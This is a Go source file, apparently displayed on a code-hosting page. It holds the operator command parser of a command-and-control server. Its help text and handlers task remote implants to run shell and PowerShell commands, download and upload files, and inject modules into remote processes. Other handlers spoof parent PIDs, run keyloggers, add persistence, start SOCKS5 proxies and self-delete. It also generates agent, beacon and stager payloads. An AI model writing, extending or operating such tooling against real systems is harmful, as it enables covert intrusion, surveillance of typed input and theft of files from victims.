390 lines
12 KiB
Go
390 lines
12 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"github.com/google/shlex"
|
|
)
|
|
|
|
var generalHelp string = `
|
|
General commands:
|
|
agents List active agents
|
|
|
|
show agent Show information about certain agent
|
|
Usage: show agent <agent_id>
|
|
|
|
tasks Show tasks assigned to all agents
|
|
|
|
clear tasks Remove tasks assigned to specific agent
|
|
Usage: clear tasks <agent_id>
|
|
|
|
modules Display all available modules
|
|
|
|
show listeners Show all active listeners
|
|
|
|
listen Start a listener with the specified parameters
|
|
Usage: listen -t https -h domain1.com,domain2.com -p 8443 -n listener_https_1
|
|
Flags:
|
|
-t, --transport Transport protocol: http
|
|
-h, --host Comma-separated list of hosts (round robin)
|
|
-p, --port Port for the listener
|
|
-n, --name Name for the listener
|
|
|
|
stop listener Stop a specific listener by its name
|
|
Usage: stop listener <listener name>
|
|
|
|
generate Generate a payload for the specified agent type and listener
|
|
Usage: generate agent|beacon|stager <listener name> [flags]
|
|
Flags for agent:
|
|
--interval Set interval between connections (default 5)
|
|
--delay Set startup delay (default 5)
|
|
--persistence Add persistence module
|
|
--keylogger Add keylogger module
|
|
--proxy Add SOCKS5 proxy module
|
|
`
|
|
|
|
var contextHelp string = `
|
|
Agent commands:
|
|
tasks Show tasks assigned to current agent
|
|
|
|
info Show information about target
|
|
|
|
getinfo Retrieve system information from a target
|
|
|
|
sleep Set the connection interval (in seconds) for an agent
|
|
Usage: sleep <sleep_time>
|
|
|
|
cmd Execute a shell command on a target
|
|
Usage: cmd whoami
|
|
|
|
powershell Execute a PowerShell command on a target
|
|
Usage: powershell Get-Process
|
|
|
|
cd Change directory
|
|
Usage: cd C:/Users/John/Desktop | cd .. | cd ../
|
|
|
|
ls, pwd Self explanatory
|
|
|
|
download Downloads a file or whole folder with sub-folders
|
|
Usage: download 'C:/Users/John/Desktop/file.txt'
|
|
|
|
upload Upload a file to target machine
|
|
Usage: upload "/home/user/file.txt" "C:/Users/John/Desktop/file.txt"
|
|
|
|
ps Get list of processes
|
|
|
|
inject-self Inject module into new thread
|
|
Usage: inject <module_name> <pid>
|
|
|
|
inject-remote Inject module into remote process
|
|
Usage: inject <module_name> <pid>
|
|
|
|
spawn Spawn new process and inject module into it
|
|
Usage: spawn <module_name> 'exe_path'
|
|
|
|
set-ppid Set parent PID for "spawn" command
|
|
Usage: set-ppid <ppid>
|
|
|
|
keylogger Launch/stop keylogger on target
|
|
Usage: keylogger <start|stop>
|
|
|
|
persistence Add/remove persistence via local app data
|
|
Usage: persistence <add|remove>
|
|
|
|
proxy Start SOCKS5 proxy on target machine
|
|
Usage: proxy <start|stop>
|
|
|
|
kill Stop agent's process
|
|
|
|
cleanup Task agent to stop and self delete
|
|
`
|
|
|
|
func ParseOperatorCommands(operatorConn net.Conn, operatorID string) {
|
|
for {
|
|
// Read the incoming data
|
|
buffer := make([]byte, 1024)
|
|
n, err := operatorConn.Read(buffer)
|
|
if err != nil {
|
|
log.Printf("Error reading from connection: %v", err)
|
|
break
|
|
}
|
|
operatorCommand := strings.TrimSpace(string(buffer[:n]))
|
|
|
|
// Echo received command
|
|
log.Printf("Received command from operator %s: %s \n", operatorID, operatorCommand)
|
|
|
|
// Exit command
|
|
if operatorCommand == "exit" || operatorCommand == "quit" {
|
|
log.Printf("Operator %s left us", operatorID)
|
|
DeleteOperator(operatorID)
|
|
continue
|
|
}
|
|
|
|
if operatorCommand == "general_help" {
|
|
operatorConn.Write([]byte(generalHelp))
|
|
continue
|
|
}
|
|
|
|
if operatorCommand == "context_help" {
|
|
operatorConn.Write([]byte(contextHelp))
|
|
continue
|
|
}
|
|
|
|
// Context command, aka implant command
|
|
if strings.HasPrefix(operatorCommand, "CONTEXT:") {
|
|
// log.Printf("Context command detected: %s", operatorCommand)
|
|
operatorCommand = strings.TrimPrefix(operatorCommand, "CONTEXT:")
|
|
// log.Printf("Command without prefix: %s", operatorCommand)
|
|
ParseOperatorContextCommands(operatorCommand, operatorID, operatorConn)
|
|
continue
|
|
}
|
|
|
|
// General aka management command
|
|
if strings.HasPrefix(operatorCommand, "GENERAL:") {
|
|
// log.Printf("General command detected: %s", operatorCommand)
|
|
operatorCommand = strings.TrimPrefix(operatorCommand, "GENERAL:")
|
|
// log.Printf("Command without prefix: %s", operatorCommand)
|
|
ParseOperatorGeneralCommands(operatorCommand, operatorID, operatorConn)
|
|
continue
|
|
}
|
|
}
|
|
}
|
|
|
|
// Prase general commands
|
|
func ParseOperatorGeneralCommands(operatorCommand string, operatorID string, operatorConn net.Conn) {
|
|
cmdParts, _ := shlex.Split(operatorCommand)
|
|
|
|
switch {
|
|
|
|
case operatorCommand == "agents":
|
|
ListAgents(operatorID)
|
|
|
|
case strings.HasPrefix(operatorCommand, "show agent"):
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: show agent <agent_id>"))
|
|
return
|
|
}
|
|
ShowAgent(operatorID, cmdParts[2])
|
|
|
|
case cmdParts[0] == "tasks":
|
|
ShowTasks(operatorID, cmdParts)
|
|
|
|
case strings.HasPrefix(operatorCommand, "clear tasks"):
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: clear tasks <agent_id>"))
|
|
return
|
|
}
|
|
ClearTasks(operatorID, cmdParts)
|
|
|
|
case operatorCommand == "modules":
|
|
ShowModules(operatorID)
|
|
|
|
// Show all active listeners
|
|
case operatorCommand == "show listeners":
|
|
ListListeners(operatorID)
|
|
|
|
// Listener commands
|
|
case cmdParts[0] == "listen":
|
|
if len(cmdParts) < 9 {
|
|
operatorConn.Write([]byte("Usage: listen -t https -h <hosts1,host2> -p <port> -n <name>\n"))
|
|
return
|
|
}
|
|
ParseListenCommand(cmdParts, operatorConn)
|
|
|
|
// Stop certain listener
|
|
case strings.HasPrefix(operatorCommand, "stop listener"):
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: stop listener <name>"))
|
|
return
|
|
}
|
|
StopListener(cmdParts[2], operatorConn)
|
|
|
|
// Payload generation
|
|
case cmdParts[0] == "generate":
|
|
if len(cmdParts) < 3 {
|
|
operatorConn.Write([]byte("Usage: generate <agent|beacon|stager> <listener name> [--interval 15 --jitter 30 --delay 10 --persistence --keylogger --proxy]"))
|
|
return
|
|
}
|
|
ParseGenerateCommand(cmdParts, operatorConn)
|
|
|
|
default:
|
|
operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands"))
|
|
}
|
|
}
|
|
|
|
// Parse context command (agent tasks)
|
|
func ParseOperatorContextCommands(operatorCommand string, operatorID string, operatorConn net.Conn) {
|
|
cmdParts, _ := shlex.Split(operatorCommand)
|
|
log.Printf("Splited operator command: %q", cmdParts)
|
|
|
|
switch {
|
|
|
|
case cmdParts[1] == "tasks":
|
|
ShowTasks(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "info":
|
|
if len(cmdParts) != 2 {
|
|
operatorConn.Write([]byte("Usage: info"))
|
|
return
|
|
}
|
|
ShowAgent(operatorID, cmdParts[0])
|
|
|
|
case cmdParts[1] == "getinfo":
|
|
if len(cmdParts) != 2 {
|
|
operatorConn.Write([]byte("Usage: getinfo"))
|
|
return
|
|
}
|
|
SendSysInfo(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "sleep":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: sleep <sleep_time>"))
|
|
return
|
|
}
|
|
sleepTimeStr := cmdParts[2]
|
|
sleepTime, err := strconv.Atoi(sleepTimeStr)
|
|
|
|
if err != nil {
|
|
message := fmt.Sprintf("Invalid sleep time: %s. Must be an integer", sleepTimeStr)
|
|
operatorConn.Write([]byte(message))
|
|
return
|
|
}
|
|
if sleepTime < 0 {
|
|
message := fmt.Sprintf("Invalid sleep time: %d. Must be a non-negative integer", sleepTime)
|
|
operatorConn.Write([]byte(message))
|
|
return
|
|
}
|
|
SleepAgent(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "cmd":
|
|
if len(cmdParts) < 3 {
|
|
operatorConn.Write([]byte("Usage: cmd <command + arguments>"))
|
|
return
|
|
}
|
|
// Join cmd commands and arguments
|
|
cmdParts[2] = strings.Join(cmdParts[2:], " ")
|
|
RunShell(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "powershell":
|
|
if len(cmdParts) < 3 {
|
|
operatorConn.Write([]byte("Usage: powershell <command + arguments>"))
|
|
return
|
|
}
|
|
// Join pwoershell commands and arguments
|
|
cmdParts[2] = strings.Join(cmdParts[2:], " ")
|
|
RunShell(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "cd":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: cd <path>"))
|
|
return
|
|
}
|
|
HandleNavigation(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "ls" || cmdParts[1] == "pwd":
|
|
if len(cmdParts) != 2 {
|
|
operatorConn.Write([]byte("Usage: ls / pwd"))
|
|
return
|
|
}
|
|
ShowDirectory(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "download":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: download \"C:/Users/John/Desktop/file1.txt\"\n download \"C:/Program Files/folder1\""))
|
|
return
|
|
}
|
|
// operatorConn.Write([]byte(fmt.Sprintf("Downloading file %s", cmdParts[2])))
|
|
DownloadFile(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "upload":
|
|
if len(cmdParts) < 3 {
|
|
operatorConn.Write([]byte("Usage: upload \"/home/user/file1.txt\" \"C:/Users/John/Desktop/file1.txt\""))
|
|
return
|
|
}
|
|
UploadFile(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "ps":
|
|
if len(cmdParts) != 2 {
|
|
operatorConn.Write([]byte("Usage: ps"))
|
|
return
|
|
}
|
|
GetProcesses(operatorID, cmdParts)
|
|
|
|
// Updated Commands with --donut flag support
|
|
case cmdParts[1] == "inject-self":
|
|
if len(cmdParts) < 3 {
|
|
operatorConn.Write([]byte("Usage: inject-self <module_name> [--donut donut_args...]"))
|
|
return
|
|
}
|
|
ValidateAndInject(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "inject-remote":
|
|
if len(cmdParts) < 4 {
|
|
operatorConn.Write([]byte("Usage: inject-remote <module_name> <pid> [--donut donut_args...]"))
|
|
return
|
|
}
|
|
ValidateAndInject(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "spawn":
|
|
if len(cmdParts) < 3 {
|
|
operatorConn.Write([]byte("Usage: spawn <module_name> <exe_path> [--donut donut_args...]"))
|
|
return
|
|
}
|
|
ValidateAndInject(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "set-ppid":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: set-ppid <ppid>"))
|
|
return
|
|
}
|
|
SetPPID(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "keylogger":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: keylogger start|stop|report"))
|
|
return
|
|
}
|
|
// operatorConn.Write([]byte(fmt.Sprintf("Trying to %s keylogger on %s", cmdParts[1], cmdParts[0])))
|
|
Keylogger(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "persistence":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: persistence add|remove"))
|
|
return
|
|
}
|
|
// operatorConn.Write([]byte(fmt.Sprintf("Checking persistence %s", cmdParts[2])))
|
|
Persistence(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "proxy":
|
|
if len(cmdParts) != 3 {
|
|
operatorConn.Write([]byte("Usage: proxy <start|stop>"))
|
|
return
|
|
}
|
|
// operatorConn.Write([]byte(fmt.Sprintf("Trying to %s proxy on %s", cmdParts[2], cmdParts[0])))
|
|
Proxy(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "kill":
|
|
if len(cmdParts) != 2 {
|
|
operatorConn.Write([]byte("Usage: kill"))
|
|
return
|
|
}
|
|
// operatorConn.Write([]byte(fmt.Sprintf("Killing agent %s", cmdParts[0])))
|
|
Kill(operatorID, cmdParts)
|
|
|
|
case cmdParts[1] == "cleanup":
|
|
if len(cmdParts) != 2 {
|
|
operatorConn.Write([]byte("Usage: cleanup"))
|
|
return
|
|
}
|
|
// operatorConn.Write([]byte(fmt.Sprintf("Tasking agent %s to clean up and self delete", cmdParts[0])))
|
|
Cleanup(operatorID, cmdParts)
|
|
|
|
default:
|
|
operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands"))
|
|
}
|
|
}
|